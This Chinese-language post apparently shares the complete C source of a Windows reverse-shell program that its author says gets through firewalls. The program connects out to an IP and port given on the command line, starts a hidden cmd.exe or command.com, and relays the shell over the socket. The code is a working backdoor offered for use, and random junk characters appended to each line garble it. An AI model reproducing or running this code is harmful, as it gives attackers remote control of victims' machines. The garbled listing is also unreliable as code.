这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {91Y;p
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/* ============================== XixjdBFP
Rebound port in Windows NT r>8`gAhx
By wind,2006/7 Y~*p27@fR
===============================*/ oO[eer_S-
#include >)Qq^?U
#include XO?WxL9k]
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#pragma comment(lib,"wsock32.lib") zZ-/S~l
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void OutputShell(); 8HLL3H0
SOCKET sClient; T$MXsq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; phb
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void main(int argc,char **argv) Oi|cTZ@A-
{ 5w>TCx
WSADATA stWsaData; V$DB4YM1k
int nRet; ]E"J^mflGK
SOCKADDR_IN stSaiClient,stSaiServer; |+8rYIms`
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if(argc != 3) Oq<3&*
{ !8|r$mN8
printf("Useage:\n\rRebound DestIP DestPort\n"); bhRa?wuoY
return; :I?lT2+ea
} *j(fk[,i
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WSAStartup(MAKEWORD(2,2),&stWsaData); Q3+%8zZI
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CaCApL
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stSaiClient.sin_family = AF_INET; )2E vZn
stSaiClient.sin_port = htons(0); ;/Y#ph[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kygj" @EX
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B7C<;`5TiD
{ 0K"+u9D^
printf("Bind Socket Failed!\n"); i885T'
return; &0*l:uw
} )<J #RgE
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stSaiServer.sin_family = AF_INET; 'Sd+CXS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }duqX R
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); arKf9`9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -+qg
{ '$yy
printf("Connect Error!"); r4FSQ$[9w
return; FDiDHOR
} ,^
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OutputShell(); u$nmnd`g
} pT+OPOSR
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void OutputShell() '9vsv\A&
{ OFv-bb*YZ
char szBuff[1024]; ;X;x.pi
SECURITY_ATTRIBUTES stSecurityAttributes; xK[[b
OSVERSIONINFO stOsversionInfo; :1t&>x=T
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p{qA%D
STARTUPINFO stStartupInfo; 8M3DG=D
char *szShell; yp]vDm
PROCESS_INFORMATION stProcessInformation; Z 5 .cfI[
unsigned long lBytesRead; NV{= tAR
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?gU-a
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #.]W>hN8\
stSecurityAttributes.lpSecurityDescriptor = 0; x=K'Jj
stSecurityAttributes.bInheritHandle = TRUE; a]V#mF |{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U\{I09@E 0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [4;_8-[Nv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OPq6)(Q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F-~Xbz%
stStartupInfo.wShowWindow = SW_HIDE; k=Wt57jt
stStartupInfo.hStdInput = hReadPipe; *mn9CVZ(}M
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XkW@"pf&Fh
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GetVersionEx(&stOsversionInfo); }7%ol&<@
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switch(stOsversionInfo.dwPlatformId) M?gZKdj
{ $y<`Jy]+)~
case 1: _wg~5'w8
szShell = "command.com"; v7+|G'8M`
break; kiin7 8W
default: S._h->5f
szShell = "cmd.exe"; HF&dHD2f
break; [;toumv
} (Ze\<Y#cv
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7|J&fc5BP
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send(sClient,szMsg,77,0); Sxy3cv53
while(1) (/>
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{ x )q$.u+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ](ztb)
if(lBytesRead) 4Im}!q5;:<
{ )OlYz!#?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KJ-Q$
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send(sClient,szBuff,lBytesRead,0); 'r^'wv]
} %74f6\
else N'5DB[:c:
{ RzB64
lBytesRead=recv(sClient,szBuff,1024,0); *:l$ud
if(lBytesRead<=0) break; #s}tH$MT#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =/xXB
} }ZwnG=7T?
} &t@ $]m(
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return; -42 U
}